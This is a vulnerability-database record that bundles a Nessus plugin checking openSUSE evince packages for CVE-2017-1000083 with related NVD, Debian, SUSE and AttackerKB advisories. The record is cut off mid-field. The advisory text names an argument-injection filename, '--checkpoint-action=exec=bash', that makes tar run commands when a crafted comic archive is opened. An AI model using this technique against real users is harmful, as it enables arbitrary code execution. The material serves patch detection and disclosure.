{"id": "OPENSUSE-2017-1417.NASL", "bulletinFamily": "scanner", "title": "openSUSE Security Update : evince (openSUSE-2017-1417)", "description": "This update for evince fixes the following issues :\n\nSecurity issue fixed :\n\n - CVE-2017-1000083: Remove support for tar and tar-like\n commands in comics backend (bsc#1046856).\n\nThis update was imported from the SUSE:SLE-12-SP2:Update update\nproject.", "published": "2017-12-26T00:00:00", "modified": "2017-12-26T00:00:00", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "href": "https://www.tenable.com/plugins/nessus/105456", "reporter": "This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.", "references": ["https://bugzilla.opensuse.org/show_bug.cgi?id=1046856"], "cvelist": ["CVE-2017-1000083"], "type": "nessus", "lastseen": "2020-06-05T11:13:57", "edition": 17, "viewCount": 2, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:DE69576C-6383-43B7-86CA-2655CCB46B8D"]}, {"type": "cve", "idList": ["CVE-2017-1000083"]}, {"type": "debian", "idList": ["DEBIAN:DSA-3911-1:C5FDB", "DEBIAN:DLA-1031-1:AF9A5", "DEBIAN:DSA-3916-1:9E40F"]}, {"type": "suse", "idList": ["SUSE-SU-2017:1893-1", "SUSE-SU-2017:1894-1", "SUSE-SU-2017:2390-1", "OPENSUSE-SU-2017:3431-1", "OPENSUSE-SU-2017:1933-1", "SUSE-SU-2017:3428-1"]}, {"type": "fedora", "idList": ["FEDORA:03A2C60AA766", "FEDORA:959B364B79DD", "FEDORA:9B68F60491A1"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:DDBF02E89136D2BA064159447FFEA189"]}, {"type": "exploitdb", "idList": ["EDB-ID:45824", "EDB-ID:46341"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:150305", "PACKETSTORM:151572"]}, {"type": "oraclelinux", "idList": ["ELSA-2017-2388"]}, {"type": "centos", "idList": ["CESA-2017:2388"]}, {"type": "ubuntu", "idList": ["USN-3351-1"]}, {"type": "redhat", "idList": ["RHSA-2017:2388"]}, {"type": "freebsd", "idList": ["01A197CA-67F1-11E7-A266-28924A333806"]}, {"type": "archlinux", "idList": ["ASA-201707-14"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310873018", "OPENVAS:1361412562310843241", "OPENVAS:1361412562310871868", "OPENVAS:1361412562310872880", "OPENVAS:1361412562311220171222", "OPENVAS:1361412562310703916", "OPENVAS:1361412562310851583", "OPENVAS:703916", "OPENVAS:1361412562311220171221", "OPENVAS:1361412562310851670"]}, {"type": "nessus", "idList": ["EULEROS_SA-2017-1222.NASL", "OPENSUSE-2017-834.NASL", "SUSE_SU-2017-1893-1.NASL", "EULEROS_SA-2017-1221.NASL", "DEBIAN_DSA-3911.NASL", "FREEBSD_PKG_01A197CA67F111E7A26628924A333806.NASL", "CENTOS_RHSA-2017-2388.NASL", "REDHAT-RHSA-2017-2388.NASL", "SL_20170802_EVINCE_ON_SL7_X.NASL", "SUSE_SU-2017-3428-1.NASL"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/MULTI/FILEFORMAT/EVINCE_CBT_CMD_INJECTION"]}], "modified": "2020-06-05T11:13:57", "rev": 2}, "score": {"value": 6.6, "vector": "NONE", "modified": "2020-06-05T11:13:57", "rev": 2}, "vulnersScore": 6.6}, "sourceData": "#%NASL_MIN_LEVEL 80502\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2017-1417.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(105456);\n script_version(\"3.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/06/04\");\n\n script_cve_id(\"CVE-2017-1000083\");\n\n script_name(english:\"openSUSE Security Update : evince (openSUSE-2017-1417)\");\n script_summary(english:\"Check for the openSUSE-2017-1417 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for evince fixes the following issues :\n\nSecurity issue fixed :\n\n - CVE-2017-1000083: Remove support for tar and tar-like\n commands in comics backend (bsc#1046856).\n\nThis update was imported from the SUSE:SLE-12-SP2:Update update\nproject.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1046856\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected evince packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-browser-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-browser-plugin-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-lang\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-comicsdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-comicsdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-djvudocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-djvudocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-dvidocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-dvidocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-pdfdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-pdfdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-psdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-psdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-tiffdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-tiffdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-xpsdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-xpsdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libevdocument3-4\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libevdocument3-4-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libevview3-3\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libevview3-3-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:nautilus-evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:nautilus-evince-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:typelib-1_0-EvinceDocument-3_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:typelib-1_0-EvinceView-3_0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:42.2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:42.3\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/09/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/12/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/12/26\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE42\\.2|SUSE42\\.3)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"42.2 / 42.3\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(x86_64)$\") audit(AUDIT_ARCH_NOT, \"x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-browser-plugin-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-browser-plugin-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-debugsource-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-devel-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-lang-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-comicsdocument-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-comicsdocument-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-djvudocument-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-djvudocument-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-dvidocument-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-dvidocument-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-pdfdocument-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-pdfdocument-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-psdocument-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-psdocument-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-tiffdocument-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-tiffdocument-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-xpsdocument-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-xpsdocument-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"libevdocument3-4-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"libevdocument3-4-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"libevview3-3-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"libevview3-3-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"nautilus-evince-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"nautilus-evince-debuginfo-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"typelib-1_0-EvinceDocument-3_0-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"typelib-1_0-EvinceView-3_0-3.20.2-2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-browser-plugin-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-browser-plugin-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-debugsource-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-devel-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-lang-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-comicsdocument-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-comicsdocument-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-djvudocument-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-djvudocument-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-dvidocument-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-dvidocument-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-pdfdocument-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-pdfdocument-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-psdocument-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-psdocument-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-tiffdocument-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-tiffdocument-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-xpsdocument-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"evince-plugin-xpsdocument-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"libevdocument3-4-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"libevdocument3-4-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"libevview3-3-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"libevview3-3-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"nautilus-evince-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"nautilus-evince-debuginfo-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"typelib-1_0-EvinceDocument-3_0-3.20.2-6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.3\", reference:\"typelib-1_0-EvinceView-3_0-3.20.2-6.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"evince / evince-browser-plugin / evince-browser-plugin-debuginfo / etc\");\n}\n", "naslFamily": "SuSE Local Security Checks", "pluginID": "105456", "cpe": ["p-cpe:/a:novell:opensuse:evince-plugin-dvidocument-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-xpsdocument", "p-cpe:/a:novell:opensuse:libevdocument3-4-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-pdfdocument-debuginfo", "p-cpe:/a:novell:opensuse:typelib-1_0-EvinceView-3_0", "p-cpe:/a:novell:opensuse:evince-devel", "p-cpe:/a:novell:opensuse:evince-debugsource", "p-cpe:/a:novell:opensuse:evince-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-xpsdocument-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-djvudocument-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-comicsdocument-debuginfo", "p-cpe:/a:novell:opensuse:libevview3-3-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-tiffdocument-debuginfo", "p-cpe:/a:novell:opensuse:libevdocument3-4", "p-cpe:/a:novell:opensuse:typelib-1_0-EvinceDocument-3_0", "p-cpe:/a:novell:opensuse:evince", "p-cpe:/a:novell:opensuse:libevview3-3", "p-cpe:/a:novell:opensuse:evince-browser-plugin", "p-cpe:/a:novell:opensuse:nautilus-evince-debuginfo", "cpe:/o:novell:opensuse:42.3", "p-cpe:/a:novell:opensuse:evince-plugin-psdocument", "cpe:/o:novell:opensuse:42.2", "p-cpe:/a:novell:opensuse:evince-plugin-comicsdocument", "p-cpe:/a:novell:opensuse:nautilus-evince", "p-cpe:/a:novell:opensuse:evince-plugin-pdfdocument", "p-cpe:/a:novell:opensuse:evince-plugin-dvidocument", "p-cpe:/a:novell:opensuse:evince-plugin-psdocument-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-djvudocument", "p-cpe:/a:novell:opensuse:evince-lang", "p-cpe:/a:novell:opensuse:evince-plugin-tiffdocument", "p-cpe:/a:novell:opensuse:evince-browser-plugin-debuginfo"], "scheme": null, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}}

{"attackerkb": [{"lastseen": "2020-11-18T06:51:27", "bulletinFamily": "info", "cvelist": ["CVE-2017-1000083"], "description": "backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to execute arbitrary commands via a .cbt file that is a TAR archive containing a filename beginning with a \u201c\u2014\u201d command-line option substring, as demonstrated by a \u2014checkpoint-action=exec=bash at the beginning of the filename.\n\n \n**Recent assessments:** \n \n**pbarry-r7** at November 25, 2019 8:02pm UTC reported:\n\nDoes rely on a user to download and open an injected .cbt file with a vulnerable version of Evince (though the preview functionality of file manager software might trigger the injection without requiring the user to expressly open the file).\n\nAssessed Attacker Value: 2 \nAssessed Attacker Value: 3\n", "modified": "2020-07-30T00:00:00", "published": "2017-09-05T00:00:00", "id": "AKB:DE69576C-6383-43B7-86CA-2655CCB46B8D", "href": "https://attackerkb.com/topics/PjwCEFUu30/cve-2017-1000083", "type": "attackerkb", "title": "CVE-2017-1000083", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2020-12-09T20:13:18", "description": "backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to execute arbitrary commands via a .cbt file that is a TAR archive containing a filename beginning with a \"--\" command-line option substring, as demonstrated by a --checkpoint-action=exec=bash at the beginning of the filename.", "edition": 6, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-09-05T06:29:00", "title": "CVE-2017-1000083", "type": "cve", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-1000083"], "modified": "2019-10-03T00:03:00", "cpe": ["cpe:/o:redhat:enterprise_linux_server_tus:7.6", "cpe:/o:redhat:enterprise_linux_server_eus:7.4", "cpe:/o:debian:debian_linux:8.0", "cpe:/o:redhat:enterprise_linux_server_tus:7.4", "cpe:/o:redhat:enterprise_linux_server:7.5", "cpe:/o:redhat:enterprise_linux_server:7.0", "cpe:/o:redhat:enterprise_linux_server_eus:7.5", "cpe:/o:redhat:enterprise_linux_server_aus:7.4", "cpe:/o:redhat:enterprise_linux_server:7.4", "cpe:/o:redhat:enterprise_linux_server_aus:7.6", "cpe:/o:redhat:enterprise_linux_server:7.6", "cpe:/o:redhat:enterprise_linux_workstation:7.0", "cpe:/o:redhat:enterprise_linux_desktop:7.0", "cpe:/o:redhat:enterprise_linux_server_eus:7.6", "cpe:/a:gnome:evince:3.24.0", "cpe:/o:debian:debian_linux:9.0"], "id": "CVE-2017-1000083", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-1000083", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:redhat:enterprise_linux_server_aus:7.6:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:7.5:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_desktop:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_eus:7.4:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:7.6:*:*:*:*:*:*:*", "cpe:2.3:a:gnome:evince:3.24.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_tus:7.6:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_tus:7.4:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_eus:7.6:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_workstation:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:7.4:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_eus:7.5:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_aus:7.4:*:*:*:*:*:*:*"]}], "debian": [{"lastseen": "2020-08-12T01:05:33", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-3916-1 security@debian.org\nhttps://www.debian.org/security/ Salvatore Bonaccorso\nJuly 21, 2017 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : atril\nCVE ID : CVE-2017-1000083\nDebian Bug : 868500\n\nIt was discovered that Atril, the MATE document viewer, made insecure\nuse of tar when opening tar comic book archives (CBT). Opening a\nmalicious CBT archive could result in the execution of arbitrary code.\nThis update disables the CBT format entirely.\n\nFor the oldstable distribution (jessie), this problem has been fixed\nin version 1.8.1+dfsg1-4+deb8u1.\n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 1.16.1-2+deb9u1.\n\nWe recommend that you upgrade your atril packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 10, "modified": "2017-07-21T19:06:02", "published": "2017-07-21T19:06:02", "id": "DEBIAN:DSA-3916-1:9E40F", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2017/msg00177.html", "title": "[SECURITY] [DSA 3916-1] atril security update", "type": "debian", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-30T02:22:05", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "Package : evince\nVersion : 3.4.0-3.1+deb7u1\nCVE ID : CVE-2017-1000083\nDebian Bug : 868500\n\nfrom the Google Security Team discovered that the Evince document\nviewer made insecure use of tar when opening tar comic book archives\n(CBT). Opening a malicious CBT archive could result in the execution\nof arbitrary code. This update disables the CBT format entirely.\n\nFor Debian 7 &quot;Wheezy&quot;, these problems have been fixed in version\n3.4.0-3.1+deb7u1.\n\nWe recommend that you upgrade your evince packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n", "edition": 3, "modified": "2017-07-18T21:28:34", "published": "2017-07-18T21:28:34", "id": "DEBIAN:DLA-1031-1:AF9A5", "href": "https://lists.debian.org/debian-lts-announce/2017/debian-lts-announce-201707/msg00022.html", "title": "[SECURITY] [DLA 1031-1] evince security update", "type": "debian", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-08-12T00:58:06", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-3911-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nJuly 14, 2017 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : evince\nCVE ID : CVE-2017-1000083\n\nFelix Wilhelm discovered that the Evince document viewer made insecure\nuse of tar when opening tar comic book archives (CBT). Opening a\nmalicious CBT archive could result in the execution of arbitrary code.\nThis update disables the CBT format entirely\n\nFor the oldstable distribution (jessie), this problem has been fixed\nin version 3.14.1-2+deb8u2.\n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 3.22.1-3+deb9u1.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 3.22.1-4.\n\nWe recommend that you upgrade your evince packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 8, "modified": "2017-07-14T19:26:01", "published": "2017-07-14T19:26:01", "id": "DEBIAN:DSA-3911-1:C5FDB", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2017/msg00171.html", "title": "[SECURITY] [DSA 3911-1] evince security update", "type": "debian", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2017-07-18T20:52:28", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "This update for evince fixes the following issues:\n\n - CVE-2017-1000083: Remote attackers could have used the comicbook mode of\n evince to inject shell code. (bsc#1046856, bgo#784630)\n\n", "edition": 1, "modified": "2017-07-18T18:12:43", "published": "2017-07-18T18:12:43", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-07/msg00026.html", "id": "SUSE-SU-2017:1893-1", "title": "Security update for evince (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-12-23T04:01:09", "bulletinFamily": "unix", "cvelist": ["CVE-2017-1000083"], "description": "This update for evince fixes the following issues:\n\n Security issue fixed:\n\n - CVE-2017-1000083: Remove support for tar and tar-like commands in comics\n backend (bsc#1046856).\n\n", "edition": 1, "modified": "2017-12-23T00:07:56", "published": "2017-12-23T00:07:56", "href": 